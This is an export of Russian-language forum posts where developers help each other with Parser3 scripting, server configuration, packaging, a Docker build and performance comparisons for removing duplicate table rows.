[code]@include[filename]\
^use[$filename; $.main(true) ]\
^MAIN:main[]\
[/code]\
\
[quote]Уношу в файл, загружаемый после auto.p в document-root — httpd class is undefined.[/quote]\
\
Тет поведение зависит от того, передается ли парсеру параметр с именем файла при запуске, или только номер порта. Если не передается, то выполняется только конфигурационный auto.p (но ничего не мешает написать в нем @USE httpd.p). А если передается - то помимо конфигурационного auto.p грузится переданный файл, ну и соответственно связанные с ним auto.p/etc..."
"86075","[quote]Хочется сначала обработать все auto.p, установить CLASS_PATH, загрузить нужные классы и уже потом в @httpd:main[] обработать запрос.\
В случае отдачи статики это сомнительно с точки зрения производительности.[/quote]\
\
Со статикой nginx справится лучше всех.\
\
[quote]Более того, ^use была добавлена специальная опция, чтобы загружать auto.p, она используется в классе httpd[/quote]\
\
Ясно.\
\
[quote]Тет поведение зависит от того, передается ли парсеру параметр с именем файла при запуске, или только номер порта.[/quote]\
\
Ясно.\
\
Спасибо за разъяснение, продолжу эксперименты."
"86076","Запросов не получает, при этом постоянно отъедает ~0,7–1,3% CPU.\
\
После первого запуска провисел в фоне около 22-х часов, получая 3 запроса раз в пять минут, и вылетел.\
Сборка мусора — на каждые 64 КБ.\
В логе пусто."
"86077","[quote]А что процесс сервера делает в фоне?[/quote]\
\
Ничего не делает. :) Просто этот кусочек взял из проекта где что-то делалось, а тут такой маленький интервал ожидания в select пока не нужен, увеличил до 0.5 sec, в HEAD.\
\
[quote]Сборка мусора — на каждые 64 КБ.[/quote]\
\
Наверное 64Mb?\
\
[quote]После первого запуска провисел в фоне около 22-х часов, получая 3 запроса раз в пять минут, и вылетел.[/quote]\
\
Возможно стоят какие-то лимиты на память/CPU? У меня как когда-то запустил в докере, так и работает:\
\
nobody   30208  0.8  0.0   6564   512   Oct07 632:03 /usr/local/parser3/parser3 -p 9000 /usr/local/parser3/parser3"
"86078","[quote]А что процесс сервера делает в фоне?\
\
Ничего не делает. :) Просто этот кусочек взял из проекта где что-то делалось, а тут такой маленький интервал ожидания в select пока не нужен, увеличил до 0.5 sec, в HEAD.[/quote]\
\
Спасибо, попробую.\
\
[quote]Сборка мусора — на каждые 64 КБ.\
\
Наверное 64Mb?[/quote]\
\
Так точно, опечатался.\
\
[quote]Возможно стоят какие-то лимиты на память/CPU?[/quote]\
\
Никак нет, без ограничений."
"86079","Сложнее найти плохой. Цены на хостинг плюс/минус одинаковые. Сервисы у крупных компаний тоже.\
\
С ходу: reg.ru, nic.ru, valuehost, netangels — это где всё ставится и работает без проблем\
\
Сам уже несколько полн на DigitalOcean"
"86080","Он стоит всего 6$, и ГОРАЗДО быстрее самого дешевого дроплета от DigitalOcean, при том что диск NVMe на 32GB"
"86082","Есть хеш:\
[code]$.points[\
                [\
                  $.name[Васильківська вулиця, 34]\
                  $.lat[50.3937780136488]\
                  $.lng[30.4854994680207]\
                ]\
                [\
                  $.name[$name]\
                  $.lat[$lat]\
                  $.lng[$lng]\
                ]\
            ][/code]\
После преобразования хотел бы получить:\
[code]\"points\": [\
      {\
        \"name\": \"Васильківська вулиця, 34\",\
        \"lat\": 50.3937780136488,\
        \"lng\": 30.4854994680207\
      },\
      {\
        \"name\": \"$name\",\
        \"lat\": $lat,\
        \"lng\": $lng\
      }\
    ][/code]\
Но что-то не то в моем хеше, в points 1 подхеш, вместо 2.\
\
Заранее спасибо за помощь."
"86083","В результате преобразования ^json:string получаю:\
[code]{ \"points\":{ \"name\":\"name\", \"lat\":\"123\", \"lng\":\"123\" } }[/code]"
"86084","[quote]Есть хеш:\
$.points[\
                [\
                  $.name[Васильківська вулиця, 34]\
                  $.lat[50.3937780136488]\
                  $.lng[30.4854994680207]\
                ]\
                [\
                  $.name[$name]\
                  $.lat[$lat]\
                  $.lng[$lng]\
                ]\
            ][/quote]\
Это не хеш, а какая-то ерунда со скобками.\
\
Чтобы получить массив объектов, проще всего использовать таблицу, а не хеш:\
[code]$points[^table::create{name	lat	lng\
one	50.3937780136488	30.4854994680207\
two	50.0136488393778	30.4680207485499\
}]\
$points[\
	$.points[$points]\
]\
\
^json:string[$points][/code]\
[code]{\
	\"points\":[\
		{\"name\":\"one\",\"lat\":\"50.3937780136488\",\"lng\":\"30.4854994680207\"},\
		{\"name\":\"two\",\"lat\":\"50.0136488393778\",\"lng\":\"30.4680207485499\"}\
	]\
}[/code]\
\
Но все значения будут строками, так как таблица хранит только их.\
\
Либо привести хеш в порядок и сформировать JSON вручную:\
[code]$points[\
	$.1[\
		$.name[one]\
		$.lat(50.3937780136488)\
		$.lng(30.4854994680207)\
	]\
	$.2[\
		$.name[two]\
		$.lat(50.0136488393778)\
		$.lng(30.4680207485499)\
	]\
]\
\
{\
	\"points\": [^points.foreach[;point]{^json:string[$point]}[,]]\
}[/code]"
"86086","Протестировано на 3.4.6\
\
Так работает:\
[code]\
$str[ბ ㄱ]\
^if(^str.match[(\\w)][n]){Есть совпадение}{Совпадений нет}\
[/code]\
Так не работает:\
[code]\
$str[ბ ㄱ]\
^if(^str.match[(\\w)][nu]){Есть совпадение}{Совпадений нет}\
[/code]\
Вернет: match called with invalid option\
\
Сейчас опция явно включена по умолчанию. Такой пример успешно работает:\
[code]\
$str[ბ ㄱ]\
^if(^str.match[(\\p{L})][n]){Есть совпадение}{Совпадений нет}\
[/code]\
\
Т.е. ситуация не критичная, но явно надо исправить документацию, что опция больше не актуальна (по документации она доступна начиная с версии 3.4.2)."
"86087","Пока только для ОС Альт девятой платформы\
\
сам парсер\
http://altrepo.ru/local-p9/x86_64/RPMS.local-p9/parser3-3.4.6-alt4.x86_64.rpm\
\
файлы разнес, как принято в nix\
\
/etc/parser3/auto.p\
/usr/bin/parser3\
/usr/share/doc/parser3-3.4.6\
/usr/share/doc/parser3-3.4.6/AUTHORS\
/usr/share/doc/parser3-3.4.6/COPYING\
/usr/share/doc/parser3-3.4.6/NEWS\
/usr/share/doc/parser3-3.4.6/NGINX.txt\
/usr/share/doc/parser3-3.4.6/README\
/usr/share/parser3/charsets\
/usr/share/parser3/charsets/cp866.cfg\
/usr/share/parser3/charsets/koi8-r.cfg\
/usr/share/parser3/charsets/koi8-u.cfg\
/usr/share/parser3/charsets/windows-1250.cfg\
/usr/share/parser3/charsets/windows-1251.cfg\
/usr/share/parser3/charsets/windows-1254.cfg\
/usr/share/parser3/charsets/windows-1257.cfg\
/usr/share/parser3/charsets/x-mac-cyrillic.cfg\
\
в auto.p внес измнения в пути\
добавил, от себя уже, пример настройки nginx (NGINX.txt)\
\
биндинги к БД\
http://altrepo.ru/local-p9/x86_64/RPMS.local-p9/parser3-sqlite-3.4.6-alt4.x86_64.rpm\
http://altrepo.ru/local-p9/x86_64/RPMS.local-p9/parser3-mysql-3.4.6-alt4.x86_64.rpm\
http://altrepo.ru/local-p9/x86_64/RPMS.local-p9/parser3-pgsql-3.4.6-alt4.x86_64.rpm\
\
либы находятся тут \
\
/usr/lib64/parser3/\
\
\
Пока размещено в моем личном репо, сейчас буду проталкивать в официальный."
"86088","кстати, кому нужна поддержка nginx, вот вполне себе рабочий конфиг.. порядок строк важен!\
\
[code]\
	location / {\
               root /var/www/cgi-bin/;\
               fastcgi_intercept_errors on;\
               autoindex off;\
               try_files      $uri     =404;\
               fastcgi_pass   unix:/var/run/fcgiwrap.socket;\
               fastcgi_param  SCRIPT_NAME  $request_uri;\
               fastcgi_param  SCRIPT_FILENAME  /usr/bin/parser3;\
               fastcgi_param  CGI_PARSER_CONFIG /etc/parser3/auto.p;\
               fastcgi_param  PATH_INFO    $fastcgi_script_name;\
               fastcgi_param  PATH_TRANSLATED  $document_root/$fastcgi_script_name;\
               include /etc/nginx/fastcgi_params;\
               access_log  /var/log/nginx/cgi_access.log;\
               error_log /var/log/nginx/cgi_error.log;\
		}\
[/code]"
"86089","Если нужна какая-нибудь помощь - обращайся.\
\
В целом похоже на то, как сделано в Debian пакете, разве что SQL библиотеки там лежат в /usr/lib/parser3/\
\
https://salsa.debian.org/debian/parser/-/blob/master/debian/rules - вот тут видна структура директорий."
"86090","Правда непонятно, почему он там появился. С самого первого коммита подключения pcre в версии 3.3.0 флаг PCRE_UTF8 включается автоматически, в зависимости от кодировки на сервере.\
\
Revision 1.215\
Fri Aug 15 15:30:12 2008 UTC (13 years, 5 months ago) by misha\
Diff to previous 1.214\
\
- moved to new PCRE library and set flag UTF8 if $request:charset is UTF-8\
\
http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/src/main/pa_string.C?r1=1.214&r2=1.215"
"86091","Но по пути сделали автоматику. Похоже в доку перенесли не результат, а описание из тикета 294 :)"
"86092","\\w это именно PCRE_UCP, а не PCRE_UTF8."
"86094","Добрый день.\
Есть класс, из которого надо иметь возможность вызывать свойства статически ($class:property).\
\
В доке есть [b]@GET_имя[/b], но свойств может быть много, т.е. для 20 придется делать 20 методов.\
Есть [b]@GET_DEFAULT[имя][/b], где в теории можно сделать обработку и выдавать значение (switch[$имя]{...}), но это как-то странно выглядит.\
\
Пытаюсь сделать какое-то подобие модели таблицы, а свойства - это описание полей с параметрами валидации и возможными значениями.\
\
Как правильнее сделать с учетом того, что свойств может быть много?"
"86095","[quote]Как задать вопрос чтобы получить максимально полезный ответ?\
\
Прежде, чем задавать вопрос попробуйте найти ответ в FAQ, в документации и в форуме.\
\
Если вы не нашли ответ на свой вопрос, задайте его в форуме придерживаясь следующих правил:\
1. Главную мысль вопроса впишите в заголовок. Заголовок вида 'Помогите' или 'Не знаю что делать' не несет смысловой нагрузки и не поможет вам в решении проблемы (или сообщение будет удалено модератором)\
2. [b]В теле сообщения напишите что вы хотели получить, что вы делали и что получили[/b]\
3. Помните, что вашу проблему будут пытаться помогать вам решать исключительно по вашему описанию, поэтому описывайте всё максимально подробно, последовательно, старайтесь не использовать сленг, транслит и иные вещи затрудняющие понимание вашего описания другими. Не удивляйтесь, если вы не получите помощь на сумбурно изложенное описание проблемы или copy/paste 10 страниц кода. Посетители не будут тратить время на попытки расшифровать или понять его.\
\
Если вопрос касается парсерного кода то:\
1. Приведите его фрагмент (не надо приводить 10-и страничные тексты, их никто не будет читать)\
2. Очень желательно отформатировать фрагмент кода и обрамить его псевдо-тегами [code][/code]. Это будет способствовать лучшему пониманию вашего кода другими.\
3. Укажите полную версию используемого парсера/веб сервера/ОС.[/quote]"
"86096","Варианты для 2 свойств:\
1. Выдаем значение свойства в отдельном методе (согласно доке):\
[code]@GET_property1[]\
	$result[\
		$.name[p_1]\
		$.value[abc]\
	]\
\
@GET_property2[]\
	$result[\
		$.name[p_2]\
		$.value[sddsd]\
	][/code]\
\
2. Выдаем значение свойств в одном методе (выглядит топорно, но обработка в одном месте):\
[code]@GET_DEFAULT[sField]\
	^switch[$sField]{\
		^case[property1]{\
			$self.[$sField][\
				$.name[p_1]\
				$.value[abc]\
			]\
		}\
		^case[property2]{\
			$self.[$sField][\
				$.name[p_2]\
				$.value[sddsd]\
			]\
		}\
	}\
	$result[$self.[$sField]][/code]\
\
3. Заводим конфиг свойств и при обращении к любому производим первоначальное заполнение всех свойств (удобно тем, что можно задать один конфиг, с которым удобнее работать):\
[code]@getData[]\
	$result[\
		$.property1[\
			$.name[p_1]\
			$.value[abc]\
		]\
		$.property2[\
			$.name[p_2]\
			$.value[sddsd]\
		]\
	]\
\
@GET_DEFAULT[sField][hData;key;value]\
	^if(!def $self.[$sField]){\
		$hData[^self.getData[]]\
		^hData.foreach[key;value]{\
			$self.[$key][$value]\
		}\
	}\
	$result[$self.[$sField]][/code]\
\
Суть всех данных извращений в том, чтобы обращаться к свойствам без создания экземпляра класса: $class:property1.name\
Когда свойств немного, то можно использовать @GET_property1, но при большом количестве это не так удобно.\
\
Есть еще свойство с названием таблицы, которое должно заполняться в зависимости от названия класса.\
В варианте 1 не получится создать метод @GET_table_name и в нем проверять, что вычислять значение надо только при первом проходе, а потом всегда выдавать значение.\
В варианте 3 можно сделать case[table_name] и вычислить один раз.\
\
Понимаю, что все это выглядит очень извращенно, но важно определиться с правильностью подхода к определению значений свойств с учетом удобства и исключения повторного расчета значения одного и того же свойства (например, table_name)."
"86097","Во-первых, неясно почему требуется именно статическое обращение.\
Во-вторых, особых отличий от динамики нет, нужны:\
1. способ задать значения;\
2. способ получения значения.\
\
Если сильно хочется статики:\
[code]@main[]\
$tbl:id\
$subtbl:id\
$subtbl:text\
\
$subtbl:table_name\
\
\
@CLASS\
tbl\
\
@auto[]\
$self.fields[\
	$.id[id]\
	$.name[name]\
]\
\
@GET_DEFAULT[field]\
$result[$self.fields.$field]\
\
@GET_table_name[]\
$result[$self.CLASS_NAME]\
\
\
@CLASS\
subtbl\
\
@BASE\
tbl\
\
@auto[]\
^self.fields.add[\
	$.text[text]\
][/code]"
"86098","В моем случае класс не хранит пользовательских данных, поэтому создание экземпляра не требуется.\
\
$self.fields хотелось бы избежать, чтобы не хранить все время конфиг в памяти.\
\
table_name вычисляется из названия класса, а не просто равен ему, поэтому это свойство надо как-то вычислить один раз.\
Через GET_table_name не получится, т.к. там будет каждый раз происходить вычисление."
"86099","[quote]В моем случае класс не хранит пользовательских данных, поэтому создание экземпляра не требуется.[/quote]\
\
Вы скоро столкнётесь с тем, что при работе с БД нужно передавать конфигурацию, минимально состояющую из строки соединения.\
Статичность приведёт к необходимости передачи этой конфигурации каждому методу, что является сомнительным удобством.\
\
[quote]$self.fields хотелось бы избежать, чтобы не хранить все время конфиг в памяти.[/quote]\
\
У вас миллион полей?\
Это такие мелочи, что и думать о какой-то оптимизации бессмысленно.\
В случае статического класса и подавно.\
\
Даже если избежать статического конструктора, поля всё равно будут «храниться в памяти», хотя бы на уровне скомпилированного кода.\
Они же не из астрала будут появляться при обращении к свойствам.\
\
[quote]table_name вычисляется из названия класса, а не просто равен ему, поэтому это свойство надо как-то вычислить один раз.\
Через GET_table_name не получится, т.к. там будет каждый раз происходить вычисление.[/quote]\
\
Вычисляйте как угодно, там обычный код.\
Чтобы делать это разово используйсте «ленивые свойства», их же можно использовать и для основных полей:\
\
[code]\
@GET_DEFAULT[field]\
$result[$self.fields.$field]\
\
$self.$field[$result]\
\
@GET_table_name[]\
$result[${self.CLASS_NAME}_^math:random(1000)]\
\
$self.table_name[$result]\
[/code]\
\
Для [i]table_name[/i] это избыточно, можно просто задать свойство в [i]@auto[][/i].\
Да и для статических полей тоже: если используется некий статический конструктор, то можно разово задать поля класса в нём."
"86100","Видимо, перемудрил с оптимизацией.)\
Посмотрю в сторону использования метода @auto.\
\
Спасибо за информацию."
"86101","Добрый день.\
Есть, например, 5 классов, которые используются в текущем файле в разных методах.\
При этом может быть 5 методов, в каждом из которых используется свой класс.\
\
Как правильнее подключать эти классы:\
Вариант 1:\
[code]@USE\
class_1.p\
class_2.p\
class_3.p\
class_4.p\
class_5.p[/code]\
Вариант 2: в каждом методе делать подключение класса:\
[code]@method_1[]\
^use[class_1.p]\
...[/code]\
?"
"86102","Вы сами ответили на свой вопрос. Если внутри метода используется свой класс, или предполагается вариативность вызова метода, а значит и класса — [b]^use{}[/b] предпочтительней, т.к. будет вызван только перед использованием.\
\
Однако, если все методы так или иначе будут всё равно вызваны, то [b]@USE[/b] отлично подойдет."
"86103","Удобнее объявить все в [b]@USE[/b] и в нужном методе обращаться к классу, чем в куче мест подключать свой класс.\
\
Как такой подход влияет на быстродействие?\
Какие могут быть подводные камни, если работа идет только с классами?"
"86104","[code]\
@method1[]\
^use{class1.p}\
\
@method2[]\
^use{class2.p}\
\
^if(a != b){\
	^method1[]\
}{\
	^method2[]\
}[/code]\
\
В этом случае ^use{} будет поинтереснее.\
\
Субъективный разговор о скорости это неправильно в корне. Нужно рассматривать конкретные примеры кода с замерами производительности."
"86106","Приветствую уважаемых гуру и монстров парсера! Подскажите озадачивался ли кто-то генерацией штрих-кодов на парсере? Куда копать лучше?"
"86108","[url=\"https://bitbucket.org/ViRus83/parser3-classes/src/master/\"]https://bitbucket.org/ViRus83/parser3-classes/src/master/[/url]\
\
Freetds - класс для работы с MS SQL Server через Freetds под Linux\
Ftp - класс для работы с FTP через cURL и Wget\
Telegram - класс для работы с Telegram Bot API"
"86109","Добрый день!\
\
Настраиваю сайт на новом хостинге и обнаружил проблему при интерпретации вызовов отправки почты\
Такое ощущение что ^mail:send[...] работает синхронно, ну соотвественно страница тормозит.\
При этом сама почта реально отправляется и приходит, т.е. sendmail на хостинге установлен, пути стандартные.\
\
Вот простейший код html \
\
START SEND MAIL\
^mail:send[\
      $.from[vasya@figura.ru]\
      $.to[spacioclub@gmail.com]\
      $.subject[hello world from www2 figura]\
      $.text[Hi there www2]\
#$.print-debug(true)\
]\
END SEND MAIL\
\
открытие страницы браузером с таким кодом зависает наглухо так, что через 1 минуту от apache2 нет ответа и nginx выдает стандартный 504 Gateway Time-out.\
Ни а в почте, как уже сказал выше, письмо получено, т.е. код успешно парсером обработан, письмо отправлено.\
Куда рыть? Кто то сталкивался с таким?\
\
PS отладка осложняется еще тем что почему то рядом с parser3.cgi я не вижу стандартного parser3.log\
Parser 3.x test page ничего криминального не выдал\
PARSER_VERSION	3.4.5 (compiled on x86_64-pc-linux-gnu)\
ОСь Ubuntu 20.04\
\
Nginx прокся\
        location ~ .html$ {\
                proxy_pass http://apache$request_uri;\
        }\
\
upstream apache {\
        server 127.0.0.1:9000;\
}\
\
Apache2\
\
NameVirtualHost 127.0.0.1:9000\
Listen 9000\
\
НУ и настройки хоста стандартные \
        <Directory \"/srv/domains/figura.ru/cgi-bin\">\
                Options FollowSymlinks MultiViews\
                AllowOverride All\
                Order deny,allow\
                Allow from all\
        </Directory>\
\
 также в .htaccess все стандартно\
 AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3/parser3.cgi\
Options Indexes FollowSymLinks\
<Files ~ \"\\.p$|\\.cfg$|\\.dat$\">\
   Order deny,allow\
   Deny from all\
</Files>\
\
RewriteEngine on\
RewriteBase /"
"86110","Забыл прописать в /etc/hosts название сервера.\
поэтому были ошибки рода\
\
My unqualified host name (xxx) unknown; sleeping for retry\
unable to qualify my own domain name (xxx) -- using short name"
"86111","Требуется программист. Внесение правок на сайт услуг (cms самопис parser).  Требуется модуль управления работы с блоками (при создании страницы через cms)\
Скайп: derek169930"
"86112","[code]^inet:ip2name[125.165.215.209][/code]\
\
Понятно что у этого IP и нет доменного имени, но что если на странице надо определить имя у 10-20 подобных IP-шек? \
\
Возможно стоит добавить параметр таймаута?"
"86113","Используемая функция [url=\"https://man7.org/linux/man-pages/man3/getaddrinfo.3.html\"]getaddrinfo[/url] не поддерживает таймаут. Так что разве что через alarm, но это только под Unix работает и точность до секунды."
"86114","... который заблочится о синхронный вызов ядра и, если не получим ответ за таймаут, то сделать на тред cancel и отвалиться. \
\
Но вопрос нужно ли. :)\
\
p.s. В Го сделали свой нативный резолвер на го, чтобы синхронный системный вызов в горутине не блочил системный тред из пула. При этом есть и альтернаитвыный системный резолвер, который тоже может иногда использоваться."
"86115","[code]dig -x 125.165.215.209 +short +time=1 +tries=1[/code]\
\
Через [i]@[/i] можно указать и резольвер:\
[code]dig @8.8.8.8 -x 125.165.215.209 +short +time=1 +tries=1[/code]"
"86116","https://github.com/c-ares/c-ares\
\
Асинхронный, с таймаутами. :)"
"86117","Здравствуйте!\
Задачка вроде бы простая на первый взгляд, но что-то я застрял.\
Есть таблица, в которой могут встречаться повторяющиеся строки:\
[code]id	name	surname\
20856	Alex	Ivanov\
10458	Sergey	Petrov\
20856	Alex	Ivanov\
...[/code]\
И нужно получить таблицу без дублей. Метод locate, который хорошо справляется, если мы сравниваем 2 разных таблицы, в данном случае не помогает при поиске в той же самой таблице.\
Как правильно собрать новую таблицу без дублей? Вложение menu в menu с условием сравнения по id тоже как-то дает не тот результат."
"86119","Мне же нужно не конкретные айдишники удалить, которые можно было бы указать в условии, а любые повторяющиеся, которые мы заранее не знаем"
"86120","[code]\
#!./parser3\
@main[]\
$t[^table::create{id	name	surname\
20856	Alex	Ivanov\
10458	Sergey	Petrov\
20856	Alex	Ivanov\
}]\
\
^json:string[^uniq_table[$t;id]]\
\
@uniq_table[t;col][locals]\
    $result[^table::create[$t;$.limit(0)]]\
    $u[^hash::create[]]\
    ^t.foreach[_;row]{\
        ^if(!^u.contains[$row.[$col]]){\
            ^result.append[$row.fields]\
            $u.[$row.[$col]][]\
        }\
    }\
[/code]"
"86122","[code]@main[]\
$t[^table::create{id	name	surname\
20856	Alex	Ivanov\
10458	Sergey	Petrov\
20856	Alex	Ivanov\
}]\
\
^json:string[^uniq_table[$t;id]]\
\
\
@uniq_table[t;col][locals]\
$result[^table::create[$t;$.limit(0)]]\
$h[^t.hash[$col][$.distinct(1)]]\
^h.foreach[_;row]{^result.append[$row.fields]}\
[/code]"
"86124","Самым быстрым и наименее требовательным к памяти оказался такой вариант:\
[code]@distinct[table;column][locals]\
$exists[^hash::create[]]\
\
$result[^table.select(^_filter[$exists;$table.$column])]\
\
\
@_filter[exists;value][locals]\
$result(!^exists.contains[$value])\
\
$exists.$value[][/code]\
\
Если бы Парсер позволял в double-контексте код, то можно было бы обойтись и без метода [i]@_filter[/i].\
\
На таблице из 100 тысяч строк, при 38724-х уникальных значениях, результаты таковы ([i]utime + stime[/i], [i]used/ever_allocated_since_start[/i]):\
1. вышеприведённый вариант ([i]select + hash + contains[/i]) — 0,3484022 с, 1848/11739,8515625 КБ;\
2. [url=https://www.parser.ru/forum/?id=86122]Maxx[/url] ([i]table.hash + foreach + append[/i]) — 0,3588023 с, 20380/23186,5859375 КБ;\
3. [url=https://www.parser.ru/forum/?id=86120]Sumo[/url] ([i]foreach + contains + append[/i]) — 0,6500042 с, 20548/31197,9609375 КБ."
"86126","А если вообще без доп. структур?\
\
[code]@main[]\
$t[^table::create{id	name	surname\
20856	Alex	Ivanov\
10458	Sergey	Petrov\
20856	Alex	Ivanov\
}]\
\
^json:string[^uniq_table[$t;id]]\
\
\
@uniq_table[t;col][locals]\
$result[^table::create[$t;$.limit(0)]]\
^t.menu{^if(!^result.locate[$col;$t.$col]){^result.append[$t.fields]}}\
\
[/code]"
"86127","[i]@append[/i] недешёвый, но самое печальное — [i]@locate[/i].\
Это же проверка всей таблицы для каждой строки, квадратичная сложность.\
\
42,0734697 с, 9740/20391,3203125 КБ."
"86129","[code]\
#!./parser3\
@main[]\
$t[^table::create{id    name    surname\
20856   Alex    Ivanov\
10458   Sergey  Petrov\
20856   Alex    Ivanov\
}]\
\
^json:string[^uniq_table[$t;id]]\
\
@uniq_table[t;col][locals]\
    $index[^hash::create[]]\
    $filter{\
       $key[$t.[$col]]\
       $b(!^index.contains[$key])\
       $index.[$key][]\
       $b\
    }\
    $result[^t.select($filter)]\
[/code]\
\
:-)"
"86130","Да, я чуть позже так и написал.\
Но к моему удивлению конструкция с junction'ом в семь раз более требовательна к памяти:\
0,3588023 с, 8880/11746,3671875 КБ."
"86131","... которые при выходе из функции освобождают часть памяти до сборки мусора."
"86132","Кстати, ещё чуть оптимальнее по памяти так:\
[code]@distinct[table;column][locals]\
$exists[$._default(false)]\
\
$result[^table.select(^_filter[$exists;$table.$column])]\
\
\
@_filter[exists;value][locals]\
$result(!$exists.$value)\
\
$exists.$value(true)[/code]\
с использованием [i]$._default(false)[/i] и проверки значения вместо [i]@contains[/i]."
"86133","[quote]Если бы Парсер позволял в double-контексте код, то можно было бы обойтись и без метода @_filter.[/quote]\
[code]\
$result[^table.select(!^exists.contains[$table.$column] && \"$exists.[$table.$column][]\" eq \"\")]\
[/code]"
"86134","Да, это самый оптимальный, хоть и не самый элегантный вариант.\
\
0,2652017 c, 2760/5626,0546875 КБ\
\
С [i]$exists[$._default(false)][/i] и [i]$exists.[$table.$column](true)[/i] получается ещё на пару сотых секунды быстрее.\
\
Итого:\
[code]@distinct[table;column][locals]\
$exists[$._default(false)]\
\
$result[^table.select(!$exists.[$table.$column] && \"$exists.[$table.$column](true)\" eq \"\")][/code]"
"86135","только через ^try ?\
или еще както можно?\
\
$.default(0) - не подходит\
\
\
[code]$msgID(^int:sql{select msgID from AAA where gID= ^gID.int(0) and uID = ^uID.int(0)})\
if(!def $msgID){\
 ...\
}\
\
...\
[/code]"
"86136","[code]$msgID[^string:sql{select msgID from AAA where gID= ^gID.int(0) and uID = ^uID.int(0)}[$.default[]]]\
if(!def $msgID){\
 ...\
}[/code]"
"86137","что $.default[] - будет являеться случаем, когда \
[quote]$.default не задан …выдано сообщение об ошибке[/quote]"
"86138","Исключение будет, если БД ничего не вернула и [i]$.default[/i] не указан в опциях.\
Задан != определён."
"86139","Приветствую всех! Господа, столкнулся с проблемой в попытке использовать парсер в качестве интерпретатора скриптов. Установил парсер на ноут в папку c:\\parser3, нарисовал тестовый скрипт, запускаю [code]c:\\parser3\\parser3.exe -f c:\\parser3\\auto.p c:\\parser3\\test.p[/code] и получаю на выходе parser already configured [parser.runtime] выше по дереву auto.p нету, файл стандартый из установки для винды 64бит. Никто не сталкивался с подобным?"
"86141","Под Linux часто этим пользуюсь. Скриптов, начинающихся с #!/usr/bin/parser3 у меня порядком. :)"
"86143","Работают костыли вида:\
[code]0</* :{\
	@echo off\
	…\\parser3\\parser3.exe %~f0 %*\
	exit /b %errorlevel%\
:} */0;[/code]\
в начале cmd-файла.\
\
Но в таком файле нельзя использовать методы — парсер ругается на [i]@[/i] — только код в рамках неявного метода [i]@auto[/i]."
"86144","Приветствую всех! Господа подскажите как победить проблему с кириллическими именами файлов и каталогов. Парсер использую в качестве интерпретатора скриптов. Работаю в windows. При попытке выполнить код: [code]^f_model_table.save[text;C:\\ProgramData\\Cleverence\\Базы Mobile SMARTS\\TDT_WORK\\XlsCsv\\На терминал\\Номенклатура.csv][/code]\
получаю ошибку 'C:\\ProgramData\\Cleverence\\Базы Mobile SMARTS\\TDT_WORK\\XlsCsv\\На терминал\\Номенклатура.csv' utf-16 conversion failed (3) [utf-16 encode] [uri=, method=GET, cl=0] Что-то не соображу как победить."
"86145","Такая ошибка говорит о том, что имя файла не в utf-8. Если выше фрагмент исходного кода, то значит сам код не в utf-8. Либо сохранить его в utf-8, либо корректно указать кодировку исходных кодов ($request:charset[windows-1251] например)."
"86147","Приветствую всех! Господа, что-то я туплю. Пытаюсь передать файл с локального компьютера на сервер, Parser3 используется как интерпретатор локально. В $f_send файл .csv Скрипт на сервере видит текстовый файл и поле nameless вместо tsd_out_files. Подскажите плиз куда копать...\
\
[code]\
$f_send[^file::load[binary;$waiting_file_name]] \
								\
$file_send[^curl:load[ \
 $.post(1)\
 $.url[$url_s] \
 $.useragent[Parser3] \
 $.timeout(10) \
 $.ssl_verifypeer(0)\
 $.ssl_verifyhost(0)\
 $.postfields[tsd_out_files=$f_send]\
 $.mode[binary] \
]] \
[/code]"
"86148","[code]$script[^file::exec[C:\\Windows\\System32\\curl.exe -X POST --form tsd_out_files=^@$f_send $url_s]] \
[/code]"
"86149","[quote]$.postfields[tsd_out_files=$f_send][/quote]\
\
А что должна выражать эта конструкция?\
Строку и файл единым целым?\
\
[code]$.post(true)\
$.postfields[$file][/code]\
должно работать."
"86153","Ищу программиста для доделки существующего сайта услуг (самопис парсер), либо для переноса сайта на новый движок (желательно Битрикс либо WP)"
"86154","Как лечить? \
\
P 3.4.6 @ Debian 10"
"86155","То есть sendmail или postfix. Или отправлять по SMTP (но тут поддерживается только вариант без авторизации)."
"86156","что-то типа:\
RewriteEngine On\
\
RewriteRule ^abc/(.+)/$ /abc/index.html?path=$1&%{QUERY_STRING} [L]"
"86157","добавление по аналогии с mysql\
...\
&& cd /src/sql/pgsql && ./configure --prefix=/root/parser3install/bin && make && make install \\\
...\
\
выдает ошибку:\
checking for PGSQL_INC directory... configure: error: use --with-pgsql-inc=DIR to specify PgSql includes directory\
\
\
И какие ещё компоненты, библиотеки для pg-клиента надо надо доставить через apk add ?\
\
apk add libpq\
cd /usr/lib/\
ln -s libpq.so.5.13 libpq.so\
apk add postgresql\
\
\
bash-5.1# ./configure --prefix=/root/parser3install/bin --silent --with-pgsql-inc=/usr/lib/postgresql/\
configure: error:  does not seem to be valid PgSql includes directory\
\
Не понятно какую директорию ему надо подсунуть"
"86158","cat ./Dockerfile\
FROM alpine:latest\
\
RUN apk update && apk add --no-cache --virtual .builddeps tar bison gcc g++ linux-headers make mariadb-dev tzdata cvs postgresql-dev \\\
    && mkdir -p /src/sql 2>/dev/null && cd /src \\\
    && echo -ne \"\\n\" | cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project login \\\
    && cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project get -r release_3_4_6 parser3 \\\
    && cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project get sql \\\
    && cd /src/parser3 && ./buildall --strip --disable-safe-mode \\\
    && cd /src/sql/mysql && ./configure --prefix=/root/parser3install/bin && make && make install \\\
    && cd /src/sql/pgsql && ./configure --prefix=/root/parser3install/bin && make && make install \\\
    && mv /root/parser3install/bin /usr/local/parser3 \\\
    && apk del .builddeps && cd / && rm -rf /src/ && rm -f /tmp/* \\\
    && mkdir -p /app/{cgi,www} 2>/dev/null\
\
RUN apk add --no-cache mariadb-connector-c-dev libcurl libstdc++ libgcc libpq \\\
    && rm -rf /tmp/* && ln -s \"$(ls -1 /usr/lib/libcurl.so.* | head -1 | xargs basename)\" /usr/lib/libcurl.so\
\
RUN apk add --no-cache bash\
\
COPY templates/auto.p /usr/local/parser3/auto.p\
#COPY templates/index.html /app/www/index.html\
\
ENV CGI_PARSER_LOG=/app/cgi/parser.log\
\
USER nobody\
WORKDIR /app/www\
\
EXPOSE 9000\
STOPSIGNAL SIGQUIT\
\
ENTRYPOINT [\"/usr/local/parser3/parser3\", \"-p\", \"9000\"]\
\
CMD [\"/usr/local/parser3/parser3\"]"
"86159","https://www.parser.ru/forum/?id=85994\
\
То есть примерно как-то так будет:\
\
